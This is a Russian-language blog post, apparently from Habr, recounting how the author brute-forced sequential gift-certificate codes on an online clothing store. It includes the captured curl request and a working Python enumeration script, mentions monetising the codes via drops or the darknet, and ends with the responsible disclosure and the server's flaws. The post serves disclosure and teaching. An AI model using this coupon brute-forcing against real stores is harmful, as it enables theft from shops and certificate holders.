Привет, Хабр!

Я, как, надеюсь, и вы тоже, очень люблю читать про всякие уязвимости. Это похоже на чтение детективов, где разными окольными путями, используя какое-нибудь нелепое стечение обстоятельств и тупые стандарты, навроде исполнения кода при десериализации или внешних запросов при открытии xml, атакующий приходит к цели и уничтожает весь мир. Ну что-то такое.

Я и сам писал пару статей такого рода и, честно говоря, очень ими горжусь, потому что уязвимости там действительно прикольные, и для их нахождения мне пришлось сильно пошевелить мозгами.

Но сегодня статья будет супер банальная, кому-то может быть даже покажется скучной. Никакого хитрого сюжета, абсолютно банальнейшая уязвимость в наиболее обыденной ситуации. Но мне кажется, что кто-нибудь может найти мой ход мысли полезным, может быть даже чему-то научиться - ведь я решил расписать всё максимально подробно. Поэтому вот вам статья про самую скучную уязвимость на свете, а вы напишите, что об этом думаете.


Итак, всё начинается с предыстории, как и всегда. Предыстория заключалась в том, что друг на день рождения подарил мне подарочный сертификат в очень дорогой магазин одежды. И хотя это подарочный сертификат, но жаба меня придушила конкретно. Ну не могу я купить ветровку за 20 тыщ, кофту за 7500р или кепку за 3000р и остаться психически здоровым!

Как вам уже, наверное, известно, когда у меня что-то подгорает, я начинаю что-то делать. В данном случае я обратил внимание на подарочный сертификат, который выглядит примерно вот так:

Используется он просто: при оформлении заказа в поле "промокод" вводите номер штрих-кода, и скидка применяется.

У меня на такие вещи сразу триггер. Мне даже когда какой-то кофейный сертификат на Хабре дарили, я сразу посмотрел на сертификаты других людей, чтобы понять, какой там формат кода и можно ли его взломать. Но в нашем случае все достаточно просто:

  • двойка в начале любых штрих-кодов означает "я художник, я так вижу"

  • много нулей означают "мы не придумали, чем тут заполнить место"

  • а вот потом идёт какое-то число

Соответственно, возникает вопрос: можно ли подменить это число и получить скидку по чьему-то другому сертификату? Логика подсказывает, что это можно проверить: число шестизначное - значит, всего у нас миллион комбинаций, причём если сертификаты выдаются последовательно, то нам даже не надо перебирать все варианты, а достаточно начать с моего сертификата или чуть пораньше и проверять последующие.

Ну что ж, погнали! Я захожу на сайт и оформляю заказ как обычный простолюдин. Перед тем, как ввести промокод, я по F12 открываю инструменты разработчика (chrome dev tools) и выбираю там во вкладке "network" отслеживание запросов XHR. Почему именно этот тип? Я вижу, что поле ввода промокода "динамическое" - при отправке запроса не вся страничка перезагружается, а просто идёт фоновый запрос к серверу и какой-то ответ (применилась скидка или нет). Иногда запрос может быть какой-то другой - например, полноценная загрузка новой страницы (фильтр Doc) или же обмен сообщений через вебсокеты (фильтр Ws). Ну или можно выбрать фильтр all и просматривать вообще всю сетевую активность.

Но в данном случае нам не пришлось страдать, и мы сразу обнаружили запрос, который проверяет работоспособность купона.

Всё, что нам нужно - это послать множество таких запросов, но увеличивая с каждым разом номер купона.

В запросе передаётся много всего - это и URL, и метод, и заголовки, и тело. Мы не будем париться и вычислять, что из этого запроса важно, а что нет - просто повторим запрос один-в-один.

Для этого я делаю "copy as curl":

Теперь у меня в буфере команда curl, наподобие такой:

 curl 'https://xxxxxxx/front_api/cart.json' \
        -X 'PATCH' \
        -H 'Accept: */*' \
        -H 'Accept-Language: en-US,en;q=0.9' \
        -H 'Connection: keep-alive' \
        -H 'Content-Type: application/json' \
        -b 'first_current_location=%2F; first_referer=; referer=; current_location=%2F; .......' \
        -H 'Origin: https://xxxxxxx' \
        -H 'Referer: https://xxxxxxx/cart\\_items' \
        -H 'Sec-Fetch-Dest: empty' \
        -H 'Sec-Fetch-Mode: cors' \
        -H 'Sec-Fetch-Site: same-origin' \
        -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64)' \
        -H 'X-Requested-With: XMLHttpRequest' \
        -H 'sec-ch-ua: "Chromium";v="140", "Not=A?Brand";v="24", "Google Chrome";v="140"' \
        -H 'sec-ch-ua-mobile: ?0' \
        -H 'sec-ch-ua-platform: "Linux"' \
        --data-raw '{"lang":"","_method":"patch","variant_ids":{},"accessoriable_variant_ids":{},"order_line_comments":{},"coupon":"2000000292670"}'

Но вообще-то для перебора я хотел использовать питончик, поэтому я просто закидываю этот curl-запрос в Chatgpt с запросом "перепиши это на python с библиотекой requests", и он выводит мне питоновский код:

import requests

url = "https://xxxxxxx/front_api/cart.json"

data = {
    "lang": "",
    "_method": "patch",
    "variant_ids": "{}",
    "accessoriable_variant_ids": "{}",
    "order_line_comments": "{}",
    "coupon": "2000000292670",
}

cookies = {
    "first_current_location": "%2F",
    "first_referer": "",
    "visit": "t",
    "goal30_sent": "1",
    "goal90_sent": "1",
    "total_time_spent": "120",
    "session_time_spent": "120",
    "session_completed": "1",
    "was": "true",
    "cart": "json",
    # ...
}

response = requests.patch(url, json=data, cookies=cookies)
print(response.status_code, response.text)

Я немного причёсываю код:

  • использую requests.Session, чтобы не открывать соединение заново на каждый запрос;

  • начинаю немного раньше своего купона - с 292000 - и ползу вверх при помощи itertools.count();

  • вывожу прогресс и скорость работы при помощи tqdm;

  • использую json lines формат, чтобы сохранять найденные купоны.

Получается вот так компактненько:

from itertools import count
import json
import requests
from tqdm import tqdm
from pathlib import Path

output_file_path = Path('results.jsonl')
url = "https://xxxxxxx/front_api/cart.json"
data = {
	"coupon": "",
    # ...
}
cookies = {
    # ...
}
session = requests.Session()
start = 2000000292000

with output_file_path.open('a', encoding='utf-8') as output_file:
    for coupon in tqdm(count(start), initial=start):
        response = session.patch(
            url, 
            json=data | {"coupon": str(coupon)}, 
            cookies=cookies, 
            timeout=10,
        )
        response.raise_for_status()
        result = response.json()
        if 'Указан несуществующий купон' not in result['coupon']['error']:
            for discount in result['discounts']:
                output_file.write(json.dumps(discount) + '\n')
                output_file.flush()

Запущенный скрипт работал так же быстро, как я в понедельник - проверяя 2 купона в секунду - но где-то через 5 минут новые коды перестали появляться, и я понял, что просканировал всё, что было выпущено и ещё не активировано.

Суммарно я нафармил купонов на 177 тысяч. Дальше можно было бы заказывать шмотки на дропов или продавать эти коды где-нибудь в даркнете со скидкой.

Разумеется, я сообщил магазину о найденной уязвимости. Я хотел бы написать, что мне за это подарили сертификат на 100500 тыщ, и я заказал другу шапку, которую он очень хотел, но ващет мне просто дали нефритовым стебельком по лбу:

Так что с одной стороны "мы быстро растём и планируем выручку 500 миллионов в год", но с другой - для kesnа ничо не осталось, сорри. Такой вот он неблагодарный, этот ваш whitehat.


Давайте подведём итоги, что же было неправильно на стороне сервера.

  • Во-первых, неустойчивый к перебору код сертификата: небольшое количество знаков, только цифры, номера идут последовательно;

  • Во-вторых, отсутствие rate limits, то есть сертификаты можно перебирать бесконечно, и ничего за это не будет;

  • В-третьих, и это главное - высокие цены на товары, потому что без них я бы и не начал ничего искать. Имейте совесть, блин!

Не подписывайтесь на мой канал, там скучно и плохо!

Only registered users can participate in poll. Log in, please.
Что скажете?
11.72%Ну Саня, ты очень узко смотришь на этот вопрос, хорошая вещь должна дорого стоить, это нормально — покупать майки за 5к. И вообще ты написал что-то на нищебродском, я ничего не понял30
43.36%Пиши больше такого, шакалистая морда!111
18.36%Мне некогда, я пошёл проверять сертификаты на сайтах47
76.95%Кстати, Саня, ты в курсе, что хабр так и не пофиксил длину опроса? Смотри: аааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааа197
256 users voted. 29 users abstained.